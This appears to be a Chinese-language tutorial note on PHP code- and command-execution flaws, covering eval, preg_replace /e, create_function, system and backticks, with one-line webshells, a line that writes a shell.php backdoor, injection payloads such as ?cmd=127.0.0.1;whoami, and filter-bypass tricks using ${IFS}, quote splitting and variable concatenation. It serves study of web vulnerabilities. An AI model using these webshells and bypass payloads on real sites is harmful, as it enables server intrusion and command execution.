PHP敏感函数代码执行

eval:

<?php @eval($_GET["arg"])?>

eval函数会将提交上来的值作为PHP代码处理,可以提交phpinfo(); 或者生成一句话shell

fputs(fopen('shell.php','w+'),'<?php @eval($_POST[pass])?>');

preg_replace:(5.5版本以上已废弃/e修饰符)

<?php 
preg_replace("//e",$_GET['arg'],"start testing...");
?>

当replacement 参数构成一个合理的php代码字符串的时候,/e 修正符将参数当做php代码执行

create_function:

<?php 
$test=$_GET["test"];
$new_func=create_function('$a,$b', $test);
$new_func(2,M_E);
?>

在php 中使用create_function创建一个匿名函数(lambda-style) 如未对参数进行严格的过滤审查,可以通过提交特殊字符串给create_function执行任意代码.

使用${${ }}简单绕过:

<?php 
$str="echo \"Hello ".$_GET["arg"]."!!\"; ";
eval($str);
?>

代码使用反斜杠将echo后面的内容给转义了 与加addslashes()函数进行过滤是一样的 payload:arg=${${phpinfo()}}

PHP程序执行函数

最简单的例子:

<?php $test = $_GET['cmd']; system($test); ?>

payload:?cmd=whoami 这样即可执行系统命令

举一个类似DVWA里边的例子:

<?php
$test = $_GET['cmd'];
system("ping -c 3 " . $test);
?>

payload:?cmd=127.0.0.1;whoami

命令分隔符: 在Linux上,上面的;也可以用|、||代替 ;前面的执行完执行后面的 |是管道符,显示后面的执行结果 ||当前面的执行出错时执行后面的

在Windows上,不能用;可以用&、&&、|、||代替 &前面的语句为假则直接执行后面的 &&前面的语句为假则直接出错,后面的也不执行 |直接执行后面的语句 ||前面出错执行后面的

PHP 支持一个执行运算符:反引号(``) PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回

 <?php echo `whoami`;?>

效果与函数 shell_exec() 相同,都是以字符串的形式返回一个命令的执行结果,可以保存到变量中

命令执行绕过技巧

黑名单绕过

<?php
$test = $_GET['cmd'];
$test = str_replace("cat", "", $test);
$test = str_replace("ls", "", $test);
$test = str_replace(" ", "", $test);
$test = str_replace("pwd", "", $test);
$test = str_replace("wget", "", $test);
var_dump($test);
system("ls -al '$test'");
?>

执行ls命令: a=l;b=s;$a$b payload:?cmd=./%27;a=l;b=s;$a$b;%27

cat 1.php文件内容: a=c;b=at;c=1.php;$a$b ${c} payload:?cmd=./%27;a=c;b=at;c=1.php;$a$b${IFS}$c;%27

单引号、双引号 c""at flag c""at fl""ag c""at fl''ag payload:?cmd=./%27;c''at${IFS}fl""ag;%27

反斜线 c\at fl\ag ?cmd=./%27;c\at${IFS}fl\ag;%27

绕过空格 ${IFS}、$IFS、$IFS$9 或者在读取文件的时候利用重定向符 < ?cmd=./';a=c;b=at;c=1.php;$a$b<$c;'

安全客的一篇命令绕过 https://www.anquanke.com/post/id/84920

相关的漏洞

bash破壳

strcut java

01-01 16:08
查看更多